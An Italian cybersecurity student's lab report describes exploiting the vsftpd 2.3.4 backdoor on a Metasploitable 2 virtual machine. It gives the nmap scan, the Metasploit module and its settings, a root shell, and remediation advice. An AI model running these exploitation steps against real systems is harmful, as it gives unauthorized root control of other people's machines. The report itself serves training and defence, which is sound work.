



# **REPORT TECNICO**

## **HACKING CON METASPLOIT**

**Redatto da:** Nicolò Calì Cybersecurity Student

**Data:** 19/01/2026

## 1. Introduzione

L'attività di oggi consiste nello sfruttare la vulnerabilità sul servizio “**vsftpd**” della macchina Metasploitable mediante l'utilizzo di **Metasploit**.

Una volta dentro dovremo creare una cartella chiamata test\_metasploit all'interno della **root** dimostrando così di essere riusciti ad ottenere il totale controllo della macchina Target.

**ATTENZIONE:** l'attività viene svolta all'interno di un ambiente controllato per scopo didattico, non sono stati eseguiti exploit nei confronti di dispositivi all'esterno di tale ambiente.

## 2. Ambiente di Lavoro e Strumenti

### Configurazione del Laboratorio

L'ambiente di test sarà costituito da una macchina attaccante ed una macchina target collegate entrambe in NAT.

- **Macchina Attaccante:** Kali Linux 2025.3 - IP: 192.168.1.100
- **Macchina Vittima:** Metasploitable 2 - IP: 192.168.1.149
- **Rete:** Rete con Nat

Una volta configurato il nostro laboratorio virtuale eseguiamo il ping su entrambe le macchine per verificare che siano in comunicazione tra loro.

### Kali → Metasploitable

```
(kali㉿kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.726 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=0.514 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.372 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=0.452 ms
64 bytes from 192.168.1.149: icmp_seq=5 ttl=64 time=0.656 ms
^C
--- 192.168.1.149 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4192ms
rtt min/avg/max/mdev = 0.372/0.544/0.726/0.130 ms
```

### Metasploitable → Kali

```
PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.
64 bytes from 192.168.1.100: icmp_seq=1 ttl=64 time=0.178 ms
64 bytes from 192.168.1.100: icmp_seq=2 ttl=64 time=0.911 ms
64 bytes from 192.168.1.100: icmp_seq=3 ttl=64 time=0.387 ms
64 bytes from 192.168.1.100: icmp_seq=4 ttl=64 time=0.948 ms

--- 192.168.1.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.178/0.606/0.948/0.332 ms
```

## Strumenti Utilizzati

- **Nmap:** Questo tool è essenziale per la fase preliminare. Nelle slide viene mostrato come usarlo per scansionare l'indirizzo IP target
- **Metasploit Framework (msfconsole):** Lo useremo per cercare la vulnerabilità specifica del servizio FTP, configurare l'exploit ed eseguire l'attacco.

## 3. Attività Tecnica e Metodologia

### Fase di Ricognizione

In questa fase utilizzerò **Nmap** per effettuare un'analisi approfondita sulla macchina Target. Lancerò il seguente comando:

```
nmap -sV 192.168.1.149
```

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 08:33 EST
Nmap scan report for 192.168.1.149
Host is up (0.000047s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  vsftpd 2.3.4
22/tcp    open  ssh          openssh 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?      Netkit rshd
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi   GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:09:C9:B0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.73 seconds
```

Lo studio effettuato con nmap ci ha rivelato che la **porta 21/tcp** risulta aperta ed il servizio che utilizza è **vsftpd 2.3.4**.

## Exploit

Accediamo alla console di Metasploit con il comando `msfconsole`.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Writing a custom module? After editing your module, why not try
the reload command

.
.
.

dBBBBBBBb dBBBBP dBBBBBBBP dBBBBBBb . .
      dB'          BBP
      dB'dB'dB' dBPP      dBp      dBp BB
      dB'dB'dB' dBp      dBp      dBp BB
dB'dB'dB' dBPP      dBp      dBp BBBB

.
.
.

dBBBBBBP dBBBBBBb dBp      dBBBBBP dBp dBBBBBBP
      dB' dBp      dB'.BP
      dBp      dBBBB' dBp      dB'.BP dBp      dBp
      dBp      dBp      dBp      dB'.BP dBp      dBp
      dBPPBp      dBp      dBPPBp dBPPBp      dBp      dBp

.
.
.

o           To boldly go where no
shell has gone before

.
.
.

=[ metasploit v6.4.103-dev ] ]
+ -- --=[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads ] ]
+ -- --=[ 434 post - 49 encoders - 14 nops - 9 evasion ] ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > █
```

Grazie al comando “**search vsfpd**” sarò in grado di filtrare unicamente i moduli che fanno riferimento proprio alla versione del servizio che vogliamo sfruttare.

Una volta trovato selezioniamolo con il comando:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

```
msf > search vsftpd
Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
-  auxiliary/dos/ftp/vsftpd_232           2011-02-03    normal  Yes    VSFTPD 2.3.2 Denial of Service
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03    excellent  No     VSFTPD v2.3.4 Backdoor
                                         Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

Adesso dobbiamo impostare tramite il comando set tre diversi valori e verifichiamo attentamente che:

- **RHOSTS** è impostato correttamente su 192.168.1.149 (l'IP Target)
- **RPORT** è correttamente sulla porta 21 (la porta del servizio FTP)
- **Payload** è impostato su **cmd/unix/interact**, che è quello corretto per questo exploit specifico.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.149
RHOST => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name      Current Setting  Required  Description
---      _____          _____
CHOST                no        The local client address
CPORT                no        The local client port
Proxies              no        A proxy chain of format type:host:port[,type:host:port][ ... ].
                           Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS           192.168.1.149  yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                         -metasploit/basics/using-metasploit.html
RPORT             21          yes       The target port (TCP)

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
msf exploit(unix/ftp/vsftpd_234_backdoor) > █
```

Non ci rimane che digitare “**run**” o “**exploit**” e l’attacco inizierà.

## Creazione cartella in Root

Una volta terminata la fase di exploit saremo all’interno della macchina target ed avremo già i **permessi root**.

Con i permessi root avremo modo di spostarci liberamente tra le cartelle e potremo creare la cartella `test_metaspoit` tramite il comando **mkdir**.

```
cd /
whoami
root
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
svs
test metasploit
tmp
usr
var
vmlinuz
```

## 4. Risultati e Analisi

### Vulnerabilità o Criticità Rilevate

Dall'analisi effettuata, è emersa una vulnerabilità critica sul servizio **FTP**.

- **Vulnerabilità:** Backdoor Command Execution in **VSFTPD v2.3.4**.
- **Livello di Rischio:** **CRITICO**.
- **Descrizione:** Il servizio **vsftpd** (*Very Secure FTP Daemon*) nella versione 2.3.4 contiene una **backdoor** malevola nel codice sorgente. Questa vulnerabilità permette a un attaccante di aprire una shell di comando sulla porta 6200 con i permessi root.

### Interpretazione dei Dati

L'ottenimento di una shell con privilegi di **root** implica la compromissione totale della macchina vittima: l'attaccante ha il **pieno controllo su file**, configurazioni e servizi, potendo potenzialmente installare **malware persistenti** o utilizzare la macchina come ponte per attaccare altri dispositivi nella rete.

## 5. Conclusioni

### Riepilogo

L'obiettivo dell'attività è stato pienamente raggiunto. Attraverso la fase di **Information Gathering** con Nmap è stato possibile identificare la versione vulnerabile del servizio FTP. Successivamente, utilizzando il **Framework Metasploit**, è stata sfruttata la vulnerabilità di "Backdoor Command Execution" presente in **vsftpd 2.3.4**.

È stato possibile stabilire una connessione e dimostrare il controllo totale del sistema target creando la directory **/test\_metasploit**, come richiesto.

### 5.2 Raccomandazioni (Remediation)

Per mitigare la vulnerabilità riscontrata e mettere in sicurezza il sistema, si raccomanda di:

- **Aggiornare il Software:** Procedere all'immediata disinstallazione della versione corrente di vsftpd e aggiornarla all'ultima versione stabile
- **Configurazione Firewall:** Limitare l'accesso alla porta 21 (FTP) consentendo le connessioni solo dagli indirizzi IP strettamente necessari e fidati.
- **Monitoraggio:** Implementare sistemi di IDS/IPS (Intrusion Detection System) per rilevare tentativi di connessione anomali, come quelli diretti verso porte non standard
- **Disabilitazione Servizi:** Se il trasferimento file FTP non è strettamente necessario per l'operatività del server, si consiglia di **disabilitare** il servizio o sostituirlo con protocolli più sicuri come **SFTP** (*SSH File Transfer Protocol*).